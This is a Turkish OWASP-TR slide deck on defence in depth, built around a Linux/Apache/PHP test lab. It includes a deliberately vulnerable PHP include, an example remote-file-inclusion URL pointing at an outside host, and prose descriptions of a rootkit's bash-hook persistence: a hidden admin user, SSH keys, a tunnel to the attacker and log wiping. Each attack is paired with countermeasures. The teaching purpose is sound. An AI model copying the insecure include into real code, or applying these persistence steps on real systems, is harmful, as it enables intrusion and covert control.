21
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation OWASP-TR http://www.owasp.org KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ Tahsin TÜRKÖZ [email protected]. tr

KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

Embed Size (px)

DESCRIPTION

KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ. Tahsin TÜRKÖZ [email protected]. İçerik. Giriş - Katmanlı güvenliğin tanımı Test ortamı tanıtımı Bir PHP açıklığı Saldırılar ve önlemler Sonuç. Tanım. Katmanlı güvenlik (Defence in depth, elastic defence) - PowerPoint PPT Presentation

Citation preview

Page 1: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation

OWASP-TR

http://www.owasp.org

KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

Tahsin TÜRKÖ[email protected]

Page 2: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

2OWASP-TR

İçerik

Giriş - Katmanlı güvenliğin tanımı

Test ortamı tanıtımı

Bir PHP açıklığı

Saldırılar ve önlemler

Sonuç

Page 3: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

3OWASP-TR

Tanım• Katmanlı güvenlik (Defence in depth, Katmanlı güvenlik (Defence in depth,

elastic defence)elastic defence)– Amerikan savunma bakanlığı kaynaklıAmerikan savunma bakanlığı kaynaklı– Peşpeşe güvenlik mekanizmalarının Peşpeşe güvenlik mekanizmalarının

uygulanmasıuygulanması– Saldırıyı engeleme yerine etkilerini azaltma Saldırıyı engeleme yerine etkilerini azaltma

ya da zayıflatma stratejisiya da zayıflatma stratejisi– Ana fikir: Bir savunma mekanizması devre Ana fikir: Bir savunma mekanizması devre

dışı kaldığında sistemi savunmasız dışı kaldığında sistemi savunmasız bırakmamabırakmama

– Yöntem: Her katman ile saldırganın hareket Yöntem: Her katman ile saldırganın hareket alanını daha da kısıtlamaalanını daha da kısıtlama

– Örnekler: Fiziksel güvenlik, güvenlik duvarı, Örnekler: Fiziksel güvenlik, güvenlik duvarı, saldırı tespit sistemi, şifrelemesaldırı tespit sistemi, şifreleme

Page 4: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

4OWASP-TR

Test Ortamı TanıtımıTest Ortamı Tanıtımı

Linux Apache + PHP

Web sunucuSaldırgan

Yönetici

Page 5: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

5OWASP-TR

PHP Açıklığı

Uzaktan Kod Çalıştırma (RFI)Problem:

Uzaktan dosya indirmeye ve çalıştırmaya izin veren web uygulama çatıları

Girdi denetimi zayıf uygulamalar

Etkilenen platformlar: PHP (4.0.4 sonrası ve 5.x) Diğer uygulama çatıları (Java, .NET gibi)

Page 6: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

6OWASP-TR

Uzaktan Kod Çalıştırma (RFI) Örnek

SUNUCU TARAFIINTERNET

/index.php?lang=tr

<?php … …?>

sonuç

index.php

<?php

$language = $_REQUEST[‘lang’];

include($language.”php”); … …

...?>

tr.php

Page 7: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

7OWASP-TR

Uzaktan Kod Çalıştırma (RFI) Örnek

/index.php?lang=http://abc.com/tr.php?

<?php … …?>

http://abc.com/tr.php

sonuç

index.php

<?php

$language = $_REQUEST[‘lang’];

include($language.”php”); … …

?>

SUNUCU TARAFIINTERNET

Page 8: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

8OWASP-TR

Saldırı – Önlem Döngü Yapısı

Saldırı Karşı Önlem

Çıkarılacak Dersler

Page 9: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

9OWASP-TR

Döngü #1 Saldırganın bakış açısı PHPShell yeterli mi? Saldırganın ihtiyaçları

Kompleks işlemlerin yürütülebileceği bir bağlantı arabirimi

Sunucunun arkasındaki sistemlere erişimYetki seviyesi yüksek bir kullanıcı hesabıKayıt dosyalarının temizlenmesiBağlantıları ele verebilecek komutların

değiştirilme

Çözüm: Rootkit / Trojan enjeksiyonu

Page 10: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

10OWASP-TR

Tunnel yapısı

Page 11: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

11OWASP-TR

Rootkit / Trojan

/root/.bashrc /etc/bash_login

/root/.bash_logout /etc/bash_logout

/etc/tunnel

/etc/bashrc /etc/bash_logout

/etc/tunnel

netstat last B planı: chmod

Page 12: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

12OWASP-TR

/etc/bash_logout

Kayıt dosyalarının yedeğini alır. Sistem yönetici yetkilerine sahip enjoy

kullanıcısını oluşturur. SSH anahtarlarını root kullanıcısının ev

dizinine kopyalar. Saldırganın bilgisayarına doğru SSH tünelini

açar. Kayıt dosyalarını geri kopyalar.

Page 13: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

13OWASP-TR

/etc/bash_login

Kayıt dosyalarının yedeğini alır. enjoy kullanıcının ve saldırgan bilgisayarı ile ilgili kayıtları siler.

SSH tünelini ve varsa saldırgana ait aktif bağlantıları koparır.

enjoy kullanıcısını siler. root kullanıcısının ev dizinindeki SSH

anahtarlarını siler. Kayıt dosyalarını geri kopyalar.

Page 14: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

14OWASP-TR

Döngü #1

Karşı ÖnlemYetkisiz kullanıcı (nobody) ile koşan apache

Çıkarılacak DersMinimum hak prensibiDışa doğru açık olan bağlantı haklarının

kısıtlanması

Page 15: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

15OWASP-TR

Döngü #2

SaldırıB planı olarak düşünülen SUID biti aktife

edilmiş chmod komutunun kullanılması

Karşı ÖnlemSistemi tümüyle yeniden kurmaChroot ile hapishane yapısına geçme

Çıkarılacak DersBaşarılı bir şekilde kırılmış bir sistem yeniden

kurulmalıdır.Minimum hak prensibi için tek katman yetersiz

kalabilir.

Page 16: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

16OWASP-TR

ChRoot

Page 17: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

17OWASP-TR

Döngü #3

SaldırıRFI açıklığı ile web tabanlı kabuk (shell) açarak;

Web sayfası tahrifatı (defacement)

Karşı ÖnlemAktif bütünlük kontrolcüsü kullanımı - Tripwire

Çıkarılacak DersTüm yönüyle sunucu sıkılaştırması (hardening)Minimum hak prensibi için iki katman yetersiz

kalabilir.

Page 18: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

18OWASP-TR

Döngü #4

SaldırıRFI açıklığı ile web tabanlı kabuk (shell) açarak;

Syscall kullanılarak Hizmet Dışı Bırakma saldırısı Kaynak kodu ifşası

Karşı ÖnlemPHP kodunu düzeltme

Çıkarılacak DersAçıklığın kaynağını bulup, önlem alınmasıKatmanlı güvenlik anlayışının önemi

Page 19: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

19OWASP-TR

Sonuç

Kurumsal bilgi sistemlerinde bütün açıklıkların farkında olmak ve zamanında gerekli önlemleri almak çok zordur.

Katmanlı güvenlik ile farklı güvenlik mekanizmaları uygulayarak saldırıların etkileri azaltılabilir.

Page 20: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

20OWASP-TR

Faydalı Linkler & Sorular

chroot http://www.unixwiz.net/techtips/chroot-practices.html http://www.cgisecurity.com/webservers/apache/chrootapache2-

howto.html

apache güvenliği http://www.securityfocus.com/infocus/1694 http://www.securityfocus.com/infocus/1786 http://www.apachesecurity.net/

modsecurity http://modsecurity.org/

PHP güvenliği http://www.php-security.org/ www.owasp.org

Page 21: KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ

21OWASP-TR

Faydalı Linkler

Unix/rootkit/trojan http://vil.nai.com/vil/Content/v_100721.htm http://www.rootkit.com/ http://www.antirootkit.com

SSH ile tünel http://www.securityfocus.com/infocus/1816 http://www.rzg.mpg.de/networking/tunnelling.html http://www.ccs.neu.edu/howto/howto-sshtunnel.html

Unix güvenliği http://www.cisecurity.org http://www.princeton.edu/~psg/unix/security.html http://www.auscert.org.au/7284